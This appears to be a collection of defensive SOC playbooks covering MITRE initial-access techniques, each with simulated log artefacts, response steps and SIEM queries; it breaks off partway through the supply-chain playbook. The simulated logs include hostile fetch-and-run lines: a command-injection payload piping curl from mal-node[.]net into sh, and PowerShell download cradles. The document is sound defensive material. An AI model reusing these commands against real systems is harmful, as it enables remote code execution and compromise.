(Trusted site injection leading to credential harvesting and script execution)

Step-by-step SOC workflow

Step 1 Validate content injection

Confirm:

1. Is the content legitimate but modified?
2. Is the injected code obfuscated or external-loading?
3. Does the content redirect, download or execute scripts?
4. Is the site trusted or allowlisted internally?

Decision point

- Benign update or false positive → document and monitor
- Malicious injection → continue investigation immediately

Step 2 Identify injection scope

Area	Evidence	Attacker value
Website	Modified scripts	Trust inheritance
Ads/widgets	Third-party code	Mass delivery
User content	Embedded links	Social proof
Update channels	Tampered files	Automatic execution

Step 3 Map injection behaviour to operational intent

3A) Drive-by Malware Delivery

Indicators

- Auto-downloads
- Script-triggered payloads

Attacker intent

- Silent endpoint compromise

3B) Credential Harvesting

Indicators

- Redirects to fake login pages
- Form submissions to attacker domains

Attacker intent

- Steal credentials without phishing

3C) Browser Exploitation

Indicators

- Exploit kit activity
- Browser crash or unusual child processes

Attacker intent

- Achieve execution without user interaction

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - New processes spawned by browsers
2. Credential Abuse
 - Login anomalies post-visit
3. C2 Communication
 - Beacons to injected domains

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If injection detected early

1. Block injected URLs, domains, scripts
2. Disable affected website access temporarily
3. Notify site owners or vendors
4. Update WAF rules

If users exposed

1. Block all injection-related infrastructure
2. Isolate affected endpoints
3. Reset potentially exposed credentials
4. Preserve artefacts for forensic analysis

Eradication and recovery

- Remove injected code and restore clean versions
- Patch CMS, plugins and dependencies
- Rotate credentials and API keys
- Validate no persistence remains
- Conduct web security review

Detection engineering (SIEM ideas)

A) Referrer-based anomaly detection

```
index=proxy  
| where referrer_domain IN ("trusted-news.my")  
| where dest_domain NOT IN allowlist
```

B) Browser-to-shell execution

```
index=edr  
| where parent_process="chrome.exe"  
| where child_process IN ("powershell.exe","cmd.exe")
```

C) Script integrity monitoring

```
index=web  
| where file_change=true AND file_path LIKE "%.js"
```

Analyst checklist

- Injection confirmed and source identified
- User exposure assessed
- Blocking and containment completed
- Endpoint impact reviewed
- Website remediation verified

Post-incident improvements

- Implement script integrity monitoring (SRI)
- Harden CMS and plugin update controls
- Monitor referrer-to-destination anomalies
- Reduce trust in third-party scripts
- Include content injection scenarios in tabletop exercises

BY IZMER IZUDDIN

Playbook 21 (MITRE Initial Access): Drive-by Compromise

Technique: Drive-by Compromise

Purpose

Detect, investigate and respond to automatic exploitation triggered by web browsing, enabling attackers to:

- Compromise endpoints without phishing emails
- Exploit unpatched browsers or components
- Deliver loaders and malware silently
- Bypass user awareness and decision points

This technique commonly follows Stage Capabilities and may overlap with Content Injection and Malvertising.

When to trigger this playbook

Trigger this playbook when indicators suggest web-based exploitation without user interaction, including:

- Malware execution immediately after website access
- Browser-spawned processes (PowerShell, cmd, mshta, rundll32)
- IDS/WAF alerts for exploit kit signatures
- Proxy logs showing exploit landing pages
- EDR alerts for memory corruption or exploit behaviour
- Infections where users report “only browsing the web”

Example use case scenario (end-to-end)

Context: SOC detects a workstation executing a PowerShell downloader seconds after visiting a news website. Analysis shows the site was serving a malvertising redirect to an exploit kit targeting an unpatched browser component.

Attacker objective: Exploit client-side vulnerabilities to gain initial code execution automatically.

Defender objective: Identify the exploit chain, contain affected endpoints and prevent further exposure.

What it looks like (simulated SOC artefacts)

A) Proxy / Web Logs – Exploit Landing

2026-03-06T01:11:02Z
user=employee21
referrer=https://news-site[.]my
url=https://cdn-adtrack[.]net/redirect
http_status=302
2026-03-06T01:11:04Z
url=https://exploit-gate[.]com/landing
user_agent=Chrome/118.0

B) IDS / NDR – Exploit Kit Detection

2026-03-06T01:11:07Z
signature=ExploitKit_Browser_RCE
cve=CVE-2025-ZZZZ
src_ip=exploit-gate[.]com
dst_ip=10.20.5.44

C) Endpoint Telemetry – Automatic Execution

2026-03-06T01:11:11Z
parent_process=chrome.exe
child_process=powershell.exe
command_line=IEX(New-Object Net.WebClient).DownloadString(...)

D) Malware Download

2026-03-06T01:11:14Z
file=stage2_loader.bin
destination=C:\Users\employee21\AppData\Temp\
hash=7c91af...

Severity decision (SOC)

Low

- Exploit attempt blocked
- No execution observed

Medium

- Exploit detected with partial execution
- Malware download blocked or quarantined

High

- Successful exploitation and code execution
- Malware installed or C2 communication observed

Example severity: High

(Browser exploit → PowerShell execution → loader downloaded)

Step-by-step SOC workflow

Step 1 Validate drive-by exploitation

Confirm:

1. Was access triggered solely by visiting a website?
2. Did execution occur without user interaction?
3. Is there evidence of exploit behaviour (heap spray, shellcode, memory abuse)?
4. Is the exploit aligned with known CVEs or exploit kits?

Decision point

- Benign script or user-initiated download → handle separately
- Automatic exploitation → continue investigation immediately

Step 2 Identify drive-by attack scope

Area	Evidence	Attacker value
Website	Redirect chains	Initial delivery
Browser	Spawned processes	Code execution
Exploit kit	IDS signatures	Reliability
Payload	Loader/malware	Foothold

Step 3 Map behaviour to operational intent

3A) Browser / Plugin Exploitation

Indicators

- Exploit kit signatures
- Crashes or memory alerts

Attacker intent

- Immediate code execution

3B) Automatic Malware Delivery

Indicators

- Downloads without prompts
- Script-based loaders

Attacker intent

- Establish foothold silently

3C) Post-Exploitation Staging

Indicators

- Second-stage payload retrieval
- Scheduled tasks or registry changes

Attacker intent

- Persistence and C2 setup

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Autoruns, scheduled tasks
2. Credential Access
 - Browser credential stores
3. Command-and-Control
 - TLS or DNS beaconing

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If exploit blocked early

1. Block exploit domains and IPs
2. Patch vulnerable browser/components
3. Increase monitoring for similar traffic

If compromise successful

1. Isolate affected endpoints immediately
2. Kill malicious processes
3. Block all related infrastructure
4. Reset potentially exposed credentials

Eradication and recovery

- Remove malware and persistence
- Reimage endpoint if exploit impact is uncertain
- Patch browser, OS and plugins
- Validate no lateral movement occurred
- Update detections and exploit coverage

Detection engineering (SIEM ideas)

A) Browser-spawned shell detection

```
index=edr
| where parent_process IN ("chrome.exe","msedge.exe","firefox.exe")
| where child_process IN ("powershell.exe","cmd.exe","mshta.exe","rundll32.exe")
```

B) Redirect-to-exploit detection

```
index=proxy
| where redirect_count > 2
| where dest_domain NOT IN allowlist
```

C) Exploit CVE correlation

```
index=ids
| where cve IS NOT NULL
| stats count by cve, dst_ip
```

Analyst checklist

- Drive-by exploitation confirmed
- Exploit vector identified
- Affected endpoints isolated
- Payloads and persistence removed
- Patching and blocking completed

Post-incident improvements

- Enforce aggressive browser and plugin patch SLAs

- Reduce attack surface (disable unused plugins/features)
- Monitor browser-spawned execution as high-risk
- Integrate exploit-kit intelligence into SOC detections
- Include drive-by compromise in web security tabletop exercises

BY IZMER IZUDDIN

Playbook 22 (MITRE Initial Access): Exploit Public-Facing Application

Technique: Exploit Public-Facing Application

Purpose

Detect, investigate and respond to active exploitation of Internet-facing services, enabling attackers to:

- Achieve unauthenticated or low-privilege access
- Execute code or commands remotely
- Bypass authentication and access controls
- Deploy web shells, backdoors or loaders
- Pivot rapidly into internal networks

This technique commonly follows Stage Capabilities and precedes Execution, Persistence and Lateral Movement.

When to trigger this playbook

Trigger this playbook when indicators suggest external exploitation attempts or success, including:

- IDS/WAF alerts for RCE, SQLi, deserialization, path traversal
- Abnormal requests to admin, debug or API endpoints
- Exploit attempts aligned with recent CVEs
- Web shells or unexpected files on web servers
- Application errors followed by command execution
- Sudden outbound connections from application servers

Example use case scenario (end-to-end)

Context: SOC detects repeated requests exploiting a known RCE vulnerability on a public web application. Minutes later, the server initiates outbound HTTPS connections to an unknown domain and a web shell is discovered in the web root.

Attacker objective: Exploit an exposed application to gain remote code execution and establish an initial foothold.

Defender objective: Confirm exploitation, contain the compromised service and prevent further access.

What it looks like (simulated SOC artefacts)

A) WAF / IDS – Exploit Attempt

2026-03-08T01:11:02Z
src_ip=185.77.88.99
dst_app=public-portal.example.my
signature=WebApp_RCE
cve=CVE-2025-AAAA
action=alert
2026-03-08T01:11:05Z
uri=/api/v1/upload
payload="";curl http://mal-node[.]net/s.sh | sh"

B) Application Logs – Unexpected Execution

2026-03-08T01:11:11Z
app=public-portal
error=UnhandledException
stacktrace=Runtime.exec()

C) Web Server File Changes

2026-03-08T01:11:18Z
file=/var/www/html/.cache/shell.php
owner=www-data
created_by=web_process

D) Network Telemetry – Outbound Beacon

2026-03-08T01:11:26Z
src_host=public-portal
dst_domain=cdn-sync-updates[.]net
dst_port=443
pattern=periodic

Severity decision (SOC)

Low

- Exploit attempts detected and blocked
- No evidence of execution or file changes

Medium

- Partial exploitation with errors

- No confirmed persistence or outbound traffic

High

- Successful exploitation with code execution
- Web shell or outbound C2 observed

Example severity: High

(RCE exploit → web shell → outbound beaconing)

Step-by-step SOC workflow

Step 1 Validate exploitation success

Confirm:

1. Is the application Internet-exposed?
2. Do logs show code execution or command injection?
3. Are files created or modified by the web process?
4. Is there outbound traffic from the application server?

Decision point

- Attempt only → strengthen controls and monitor
- Successful exploitation → continue investigation immediately

Step 2 Identify exploited application scope

Component	Evidence	Attacker value
Web app / API	RCE, SQLi, auth bypass	Initial foothold
VPN / portal	CVE exploitation	Network access
Admin interface	Default creds / bugs	Privileged control
Cloud app	Misconfig / vuln	Data access

Step 3 Map exploitation behaviour to operational intent

3A) Remote Code Execution (RCE)

Indicators

- Command execution strings
- Runtime or deserialization errors

Attacker intent

- Immediate system-level control

3B) Authentication / Access Control Bypass

Indicators

- Access to protected endpoints
- Session creation without login

Attacker intent

- Bypass identity checks

3C) Web Shell Deployment

Indicators

- New PHP/JSP/ASPX files
- Obfuscated or hidden filenames

Attacker intent

- Persistent remote access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Web shells, cron jobs, startup scripts
2. Credential Access
 - Config files, environment secrets
3. Lateral Movement
 - SMB, SSH, database access
4. C2
 - TLS or DNS beaconing

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If exploit attempt only

1. Block attacker IPs and payload patterns
2. Patch or disable vulnerable endpoints
3. Harden WAF rules

If exploitation successful

1. Isolate the affected server immediately
2. Disable the vulnerable service
3. Block all related attacker infrastructure
4. Rotate exposed credentials and secrets

Eradication and recovery

- Remove web shells and malicious files
- Patch the exploited vulnerability
- Rebuild or reimage the server if integrity is uncertain
- Restore from clean backups
- Validate no persistence or lateral movement remains

Detection engineering (SIEM ideas)

A) RCE payload detection

index=waf OR index=ids
| where payload LIKE "%curl%" OR payload LIKE "%wget%"

B) Web shell creation detection

index=filesystem
| where file_path LIKE "%.php" OR file_path LIKE "%.jsp"
| where created_by="web_process"

C) App server outbound anomaly

index=network
| where src_role="web_server"
| where dest_domain NOT IN allowlist

Analyst checklist

- Exploitation validated
- Vulnerable app identified and isolated
- Web shells and persistence removed
- Credentials rotated

- Patch and hardening verified

Post-incident improvements

- Enforce aggressive patch SLAs for public-facing services
- Reduce exposed attack surface (remove unused endpoints)
- Implement file integrity monitoring on web roots
- Strengthen WAF virtual patching
- Regularly test Internet-facing apps (DAST / pentest)

Playbook 23 (MITRE Initial Access): External Remote Services

Technique: External Remote Services

Purpose

Detect, investigate and respond to unauthorised or malicious use of external remote access services, enabling attackers to:

- Bypass perimeter defences using valid credentials
- Gain immediate internal network access
- Blend into legitimate remote work traffic
- Rapidly pivot to lateral movement and persistence

This technique often follows Resource Development (Acquire/Compromise Accounts) and precedes Lateral Movement, Privilege Escalation and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of remote access services, including:

- Successful remote logins from unusual geographies or ASNs
- Authentication without MFA on external services
- Password spraying or credential-stuffing attempts
- Remote access outside business hours or user norms
- Threat intel reporting your organisation's VPN/RDP access for sale
- Sudden spikes in VPN, RDP or SSH authentication activity

Example use case scenario (end-to-end)

Context: SOC detects a successful VPN login for a contractor account from an unfamiliar country. No phishing or malware precedes the login. Minutes later, the user accesses file shares and internal applications not normally used.

Attacker objective: Use valid external remote access to obtain an immediate foothold with minimal detection.

Defender objective: Confirm legitimacy, contain unauthorised access and prevent lateral movement.

What it looks like (simulated SOC artefacts)

A) VPN Authentication Logs

2026-03-10T01:11:02Z
service=SSL_VPN
user=contractor05
auth_method=password
mfa=not_enforced
src_ip=185.220.101.55
geo=NL
result=success

B) RDP / VDI Logs

2026-03-10T01:13:21Z
service=RDP
user=admin-support
src_ip=45.67.89.10
logon_type=remote_interactive
result=success

C) Identity Risk Signals

2026-03-10T01:13:25Z
user=contractor05
risk_level=high
anomaly="New ASN + New Country"

D) Post-Login Activity

2026-03-10T01:15:02Z
user=contractor05
activity=SMB_Access
resource=\\fileserver\Finance
2026-03-10T01:16:18Z
activity=AdminPortalAccess

Severity decision (SOC)

Low

- Failed authentication attempts only
- User confirms legitimate travel or access

Medium

- Successful login with limited activity

- No sensitive systems accessed

High

- Successful login from suspicious source
- Access to finance, admin or infrastructure systems
- Threat intel corroboration or access broker indicators

Example severity: High

(Valid VPN login from new country + sensitive file access)

Step-by-step SOC workflow

Step 1 Validate remote access legitimacy

Confirm immediately:

1. Does the user recognise the login?
2. Is the access expected for the role?
3. Is MFA enforced or bypassed?
4. Is the source IP:
 - Residential?
 - VPN / Tor?
 - Hosting provider?

Decision point

- Legitimate and verified → document and monitor
- Unverified or suspicious → continue investigation immediately

Step 2 Identify remote service exposure

Service	Evidence	Attacker value
VPN	Clean login	Network access
RDP / VDI	Remote desktop	Interactive control
SSH	Shell access	Server compromise
Cloud portals	Admin login	Broad control

Step 3 Map abuse patterns to attacker intent

3A) Credential-Based Access

Indicators

- Password-only authentication
- No exploit or malware trail

Attacker intent

- Blend with legitimate users

3B) Access Broker / Purchased Access

Indicators

- TI reporting access sales
- New user/IP combinations

Attacker intent

- Immediate operational access

3C) Misconfigured Remote Services

Indicators

- MFA disabled
- Legacy authentication allowed

Attacker intent

- Low-resistance entry point

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - SMB, RDP, SSH inside network
2. Privilege Escalation
 - Role changes, admin portal access
3. Persistence
 - New accounts, MFA changes, scheduled tasks

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If suspicious access detected early

1. Disable the affected account immediately
2. Force password reset and MFA enrolment
3. Revoke active sessions
4. Block source IP / ASN

If access used maliciously

1. Disable all related accounts
2. Isolate affected endpoints
3. Freeze sensitive workflows (finance/admin)
4. Activate full IR playbook

Eradication and recovery

- Rotate all exposed credentials
- Audit IAM roles and group memberships
- Review remote access configurations
- Validate no persistence remains
- Issue assurance statement to stakeholders

Detection engineering (SIEM ideas)

A) New country VPN login

```
index=vpn  
| where login_result="success"  
| where geo_change=true
```

B) Remote access outside normal hours

```
index=vpn OR index=rdp  
| where hour < 6 OR hour > 20
```

C) Password-only remote authentication

```
index=auth  
| where service IN ("VPN","RDP")  
| where mfa="disabled"
```

Analyst checklist

- Access legitimacy confirmed

- MFA status reviewed
- Scope of access identified
- Lateral movement ruled out
- Credentials rotated and sessions revoked

Post-incident improvements

- Enforce phishing-resistant MFA on all external remote services
- Restrict remote access by geo and ASN
- Disable legacy authentication
- Monitor access broker indicators
- Regularly test remote access controls

Playbook 24 (MITRE Initial Access): Hardware Additions

Technique: Hardware Additions

Purpose

Detect, investigate and respond to unauthorised hardware introduced into the environment, enabling attackers to:

- Execute payloads without network delivery
- Capture credentials directly (keystrokes, traffic)
- Establish hidden persistence
- Bypass endpoint and perimeter controls
- Gain footholds without phishing or exploitation

This technique is a direct Initial Access vector and frequently precedes Execution, Credential Access and Lateral Movement.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or unauthorised hardware activity, including:

- New USB or HID devices detected on endpoints
- Endpoints executing commands after device insertion
- Unknown MAC addresses appearing on the network
- Rogue wireless networks mimicking corporate SSIDs
- Network traffic from devices not in asset inventory
- Physical security alerts correlated with system activity

Example use case scenario (end-to-end)

Context: SOC detects a workstation executing PowerShell commands seconds after a USB device is inserted. Simultaneously, NAC logs show a new network device connecting from the same floor where a visitor badge was issued.

Attacker objective: Introduce hardware to trigger execution and capture credentials without relying on email or web delivery.

Defender objective: Identify the hardware source, contain affected systems and prevent further spread.

What it looks like (simulated SOC artefacts)

A) Endpoint USB / HID Detection

2026-03-12T01:11:02Z

host=WS-FIN-023

event=USB_Device_Connected

device_type=HID_Keyboard

vendor=Unknown

2026-03-12T01:11:06Z

parent_process=explorer.exe

child_process=powershell.exe

command_line=Invoke-WebRequest -Uri http://10.10.10.5/p.ps1

B) Endpoint File Creation

2026-03-12T01:11:12Z

file=C:\Users\Public\stage1.ps1

created_by=powershell.exe

C) Network Access Control (NAC)

2026-03-12T01:11:18Z

event=New_Device_Connected

mac=AC:DE:48:00:11:22

switch_port=SW-3-17

vlan=corp

D) Wireless Monitoring

2026-03-12T01:11:25Z

ssid=Corp-WiFi-Free

signal_strength=high

location=Level_3

status=unauthorised

Severity decision (SOC)

Low

- Device detected but blocked automatically
- No execution or network access

Medium

- Hardware connected with limited activity

- No confirmed payload execution or credential access

High

- Hardware triggers execution or network access
- Credential capture, beaconing or lateral movement observed

Example severity: High

(Rogue USB HID triggers PowerShell execution + unauthorised network device)

Step-by-step SOC workflow

Step 1 Validate hardware legitimacy

Confirm:

1. Is the device approved and inventoried?
2. Is the device type expected for the user/role?
3. Did activity occur immediately after insertion/connection?
4. Is there correlation with physical access events?

Decision point

- Legitimate device → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify hardware addition scope

Hardware type	Evidence	Attacker value
USB storage	File transfer	Payload delivery
HID / BadUSB	Keystroke injection	Command execution
Network device	New MAC	Internal access
Rogue AP	Fake SSID	Credential capture
Inline tap	Traffic capture	Credential theft

Step 3 Map hardware behaviour to attacker intent

3A) USB / HID-Based Execution

Indicators

- Keyboard-like devices
- Immediate command execution

Attacker intent

- Execute payloads without user consent

3B) Credential Capture

Indicators

- Keylogging processes
- Fake Wi-Fi authentication portals

Attacker intent

- Harvest credentials directly

3C) Network Foothold

Indicators

- New MACs on internal VLANs
- Traffic from unmanaged devices

Attacker intent

- Internal reconnaissance and lateral movement

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution & Persistence
 - Scheduled tasks, autoruns
2. Credential Access
 - LSASS access, keyloggers
3. Lateral Movement
 - SMB, RDP, SSH attempts
4. C2
 - Beacons from affected hosts

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If hardware blocked early

1. Disable USB/network port
2. Quarantine the device
3. Notify physical security

If compromise suspected

1. Isolate affected endpoints immediately
2. Disable involved user accounts
3. Block rogue MAC addresses
4. Preserve hardware for forensic analysis

Eradication and recovery

- Remove malicious files and persistence
- Reimage affected endpoints if integrity is uncertain
- Rotate potentially exposed credentials
- Update asset inventory
- Review physical access controls

Detection engineering (SIEM ideas)

A) USB insertion followed by execution

```
index=edr  
| where event="USB_Device_Connected"  
| transaction host maxspan=2m  
| where child_process="powershell.exe"
```

B) New MAC on corporate VLAN

```
index=nac  
| where event="New_Device_Connected"  
| where device NOT IN asset_inventory
```

C) Rogue SSID detection

```
index=wireless  
| where ssid LIKE "%Corp%"  
| where authorised=false
```

Analyst checklist

- Hardware legitimacy verified
- Physical and logical scope identified
- Endpoint and network isolation completed
- Credential exposure assessed
- Evidence preserved

Post-incident improvements

- Enforce USB device control and HID restrictions
- Implement NAC for all wired and wireless access
- Monitor for rogue SSIDs continuously
- Integrate physical access logs with SOC
- Conduct insider and hardware-based attack simulations

Playbook 25 (MITRE Initial Access): Phishing

Technique: Phishing

Sub-techniques:

- Spearphishing Attachment
- Spearphishing Link
- Spearphishing via Service
- Spearphishing Voice

Purpose

Detect, investigate and respond to targeted phishing attacks designed to obtain initial access through deception, enabling attackers to:

- Deliver malware or loaders
- Harvest credentials or MFA tokens
- Hijack trusted conversations
- Trigger financial fraud or account takeover
- Bypass technical controls by exploiting human trust

Phishing remains the most common Initial Access vector, often chaining directly into Credential Access, Execution and Persistence.

When to trigger this playbook

Trigger this playbook when indicators suggest targeted, non-generic phishing activity, including:

- Emails or messages tailored to specific users, roles or projects
- Attachments or links referencing internal context
- Login attempts following message interaction
- OAuth consent prompts or credential submissions
- Voice calls impersonating executives, IT or vendors
- Threat intel reporting active phishing campaigns against your organisation

Example use case scenario (end-to-end)

Context: SOC detects a targeted email sent to finance staff with a realistic invoice attachment. Within minutes, one recipient opens the file, executes a macro and a credential-stealing loader runs. Separately, another user receives a voice call impersonating the CFO requesting urgent payment approval.

Attacker objective: Exploit trust and urgency to achieve initial access and fraud with minimal technical resistance.

Defender objective: Detect phishing early, contain impact and prevent account compromise or financial loss.

What it looks like (simulated SOC artefacts)

A) Spearphishing Attachment

2026-03-14T01:11:02Z
sender=accounts@trustedvendor[.]com
recipient=finance02@example.my
subject="Updated Invoice – March"
attachment=Invoice_March_2026.xlsm
2026-03-14T01:11:08Z
macro_execution=true
child_process=powershell.exe

B) Spearphishing Link

2026-03-14T01:12:21Z
sender=it-support@example-helpdesk[.]com
subject="Mailbox Storage Limit Exceeded"
url=hxxps://login-example[.]secure-auth[.]com
2026-03-14T01:12:26Z
user_action=credential_submission

C) Spearphishing via Service

2026-03-14T01:13:44Z
platform=Microsoft_Teams
sender_external=true
display_name="HR Manager"
message="Please review updated policy document"
link=hxxps://fileshare-secure[.]net/doc

D) Spearphishing Voice

2026-03-14T01:15:12Z
call_type=voice
caller_id=spoofed_CFO
target=finance_manager
request="Urgent payment approval"

voice_characteristics=deepfake_suspected

Severity decision (SOC)

Low

- Phishing attempt detected and blocked
- No user interaction

Medium

- User interaction without execution or credential use
- Credentials entered but reset quickly

High

- Malware execution or credential abuse
- MFA fatigue or bypass
- Financial or sensitive system targeting

Example severity: High

(Macro execution + credential submission + voice fraud attempt)

Step-by-step SOC workflow

Step 1 Validate phishing characteristics

Confirm:

1. Is the message targeted and contextual?
2. Is the sender spoofed, compromised or newly created?
3. Does the content create urgency, authority or fear?
4. Did the user open, click, execute or respond?

Decision point

- Generic spam → standard handling
- Targeted phishing → continue investigation immediately

Step 2 Identify phishing vector scope

Sub-technique	Evidence	Attacker value
Attachment	Macros, scripts	Malware execution
Link	Fake login	Credential theft

Service	Teams/SharePoint abuse	Trust inheritance
Voice	Spoofed calls	Fraud, MFA bypass

Step 3 Map behaviour to sub-techniques

3A) Spearphishing Attachment

Indicators

- Macro-enabled documents
- Child process execution

Attacker intent

- Malware delivery
- Initial foothold

3B) Spearphishing Link

Indicators

- Lookalike domains
- Credential submission events

Attacker intent

- Account takeover
- MFA abuse

3C) Spearphishing via Service

Indicators

- External users on collaboration tools
- File or OAuth links

Attacker intent

- Bypass email controls
- OAuth persistence

3D) Spearphishing Voice

Indicators

- Urgent financial or IT requests
- Caller ID spoofing or deepfake traits

Attacker intent

- Fraud
- Human-driven access approval

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Login anomalies
 - MFA prompts or fatigue
2. Execution
 - Script or binary launches
3. Persistence
 - Inbox rules, OAuth apps
4. Impact
 - Fraud attempts or data access

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If phishing detected early

1. Quarantine messages across mailboxes
2. Block sender domains and URLs
3. Notify targeted users

If user interaction occurred

1. Isolate affected endpoints
2. Reset credentials and revoke sessions
3. Remove inbox rules or OAuth grants
4. Freeze financial workflows if targeted

Eradication and recovery

- Remove malware and persistence

- Reimage systems if needed
- Rotate exposed credentials and keys
- Validate no lateral movement
- Issue assurance statement

Detection engineering (SIEM ideas)

A) Attachment → execution correlation

```
index=email OR index=edr
| transaction user maxspan=5m
| where attachment_type IN ("xlsm","docm")
| where child_process="powershell.exe"
```

B) Phish link → login anomaly

```
index=email OR index=auth
| transaction user maxspan=10m
| where login_result="success" AND geo_change=true
```

C) Collaboration-tool phishing

```
index=collaboration
| where sender_external=true
| where link_count > 0
```

Analyst checklist

- Phishing vector identified
- User interaction confirmed
- Credentials and sessions secured
- Malware or persistence removed
- Stakeholders notified

Post-incident improvements

- Enforce phishing-resistant MFA
- Restrict macros and scripting
- Monitor collaboration platforms as phishing channels
- Implement voice-fraud verification procedures
- Run targeted phishing simulations for high-risk roles

Playbook 26 (MITRE Initial Access): Replication Through Removable Media

Technique: Replication Through Removable Media

Purpose

Detect, investigate and respond to malware and access attempts propagated via removable media, enabling attackers to:

- Introduce malware without Internet delivery
- Bypass perimeter and email security controls
- Propagate laterally across endpoints
- Establish persistence in sensitive environments
- Seed future command-and-control once connectivity exists

This technique often precedes Execution, Persistence and Credential Access and overlaps with Hardware Additions.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious activity tied to removable media, including:

- Malware execution shortly after USB insertion
- Creation of suspicious files on removable drives
- Autorun-like behaviour despite policy restrictions
- Multiple endpoints infected via the same removable device
- EDR alerts referencing USB-borne malware
- Unexpected scheduled tasks or services after media usage

Example use case scenario (end-to-end)

Context: SOC detects malware execution on a workstation used for offline report preparation. The user reports inserting a USB drive received from a third-party contractor. EDR reveals the same payload appearing on two additional endpoints previously connected to the same USB device.

Attacker objective: Use removable media to introduce and propagate malware into environments unreachable via network attacks.

Defender objective: Identify the propagation vector, contain infected hosts and prevent further spread.

What it looks like (simulated SOC artefacts)

A) Endpoint – USB Insertion Event

2026-03-16T01:11:02Z
host=WS-OPS-014
event=USB_Device_Connected
device_id=USB\VID_0781&PID_5567
device_type=Mass_Storage

B) File Creation on Removable Media

2026-03-16T01:11:07Z
drive=E:\
file=report_2026.pdf.exe
file_attributes=hidden

C) Malware Execution After Media Access

2026-03-16T01:11:12Z
parent_process=explorer.exe
child_process=report_2026.pdf.exe
execution_source=removable_media

D) Replication Behaviour

2026-03-16T01:14:55Z
action=File_Copy
source=C:\ProgramData\stage.bin
destination=E:\system_update.exe

E) Persistence Creation

2026-03-16T01:15:10Z
event=Registry_Modified
key=HKCU\Software\Microsoft\Windows\CurrentVersion\Run
value=SystemUpdate

Severity decision (SOC)

Low

- Removable media detected but blocked
- No execution or file creation

Medium

- Malware execution on a single endpoint
- No evidence of replication

High

- Malware replicated across multiple systems
- Persistence established
- Potential air-gapped environment compromise

Example severity: High

(USB-borne malware executed and propagated to multiple hosts)

Step-by-step SOC workflow

Step 1 Validate removable media involvement

Confirm:

1. Was removable media inserted shortly before execution?
2. Did the executable originate from the removable drive?
3. Are multiple hosts showing the same artefacts?
4. Is autorun or user deception involved (double extensions)?

Decision point

- User-initiated legitimate files → educate and monitor
- Malicious replication → continue investigation immediately

Step 2 Identify replication scope

Area	Evidence	Attacker value
USB device	Unique device ID	Multi-host propagation
Endpoints	Matching hashes	Rapid spread
Files	Hidden / masquerading	User deception
Registry / tasks	Autoruns	Persistence

Step 3 Map behaviour to operational intent

3A) Malware Seeding

Indicators

- Executables disguised as documents
- Files copied to removable drives

Attacker intent

- Spread malware without network access

3B) Automatic Execution / User Deception

Indicators

- Double file extensions
- Icon masquerading

Attacker intent

- Trick users into executing payloads

3C) Lateral Propagation

Indicators

- Same payload on multiple hosts
- Repeated file copy to media

Attacker intent

- Infect multiple systems rapidly

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Registry run keys
 - Scheduled tasks
2. Credential Access
 - LSASS access attempts
3. C2 Preparation
 - Beaconsing when network becomes available

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Block USB execution policies
2. Quarantine the removable device
3. Notify affected users and teams

If replication confirmed

1. Isolate all affected endpoints
2. Disable USB access temporarily
3. Block execution of matching hashes
4. Preserve removable media for forensic analysis

Eradication and recovery

- Remove malware and persistence from all hosts
- Reimage systems if integrity is uncertain
- Rotate exposed credentials
- Update endpoint and USB control policies
- Verify no dormant infections remain

Detection engineering (SIEM ideas)

A) Execution from removable media

```
index=edr  
| where execution_source="removable_media"  
| stats count by host, file_hash
```

B) Same hash across multiple hosts

```
index=edr  
| stats dc(host) by file_hash  
| where dc(host) > 1
```

C) USB insertion followed by execution

```
index=edr  
| transaction host maxspan=5m  
| where event="USB_Device_Connected"  
| where child_process IS NOT NULL
```

Analyst checklist

- Removable media confirmed as source
- Scope of affected endpoints identified

- Propagation vector contained
- Persistence removed
- Forensic evidence preserved

Post-incident improvements

- Enforce strict removable media controls
- Disable autorun and execution from external drives
- Use malware scanning kiosks for USB devices
- Educate staff on removable media risks
- Include USB-borne attacks in IR tabletop exercises

Playbook 27 (MITRE Initial Access): Supply Chain Compromise

Technique: Supply Chain Compromise

Sub-technique:

- Compromise Software Dependencies and Development Tools
- Compromise Software Supply Chain
- Compromise Hardware Supply Chain

Purpose

Detect, investigate and respond to adversaries gaining initial access by compromising trusted suppliers, components or update mechanisms, enabling:

- Stealthy, wide-scale access across many victims
- Inherited trust through signed code, updates or vendors
- Long dwell time before detection
- Access paths that bypass perimeter and user-centric controls

Supply-chain compromise is high impact, low noise and often results in systemic risk rather than isolated incidents.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious activity originating from trusted third-party components, including:

- Malware or suspicious behaviour from recently updated software
- Signed binaries behaving maliciously
- Unexpected outbound traffic from development tools or agents
- CI/CD pipelines executing unapproved code
- Vendor advisories reporting compromise
- Hardware devices behaving anomalously immediately after deployment

Example use case scenario (end-to-end)

Context: SOC observes outbound C2 traffic from multiple servers shortly after a routine software update from a trusted vendor. EDR shows the binary is validly signed, but runtime behaviour includes credential access and beaconing.

Attacker objective: Compromise upstream suppliers to scale initial access while remaining trusted and undetected.

Defender objective: Rapidly identify the supply-chain vector, contain blast radius and coordinate remediation with vendors.

What it looks like (simulated SOC artefacts)

A) Compromise Software Dependencies & Dev Tools

2026-03-18T01:11:02Z
host=dev-build-01
tool=npm
package=auth-helper
version=2.3.1
dependency_added=postinstall.js
2026-03-18T01:11:06Z
ci_event=Build_Completed
unexpected_network_call=true

B) Compromise Software Supply Chain

2026-03-18T01:12:21Z
application=RemoteMgmtAgent
update_version=5.8.4
signature=valid
issuer=TrustedVendor CA
2026-03-18T01:12:26Z
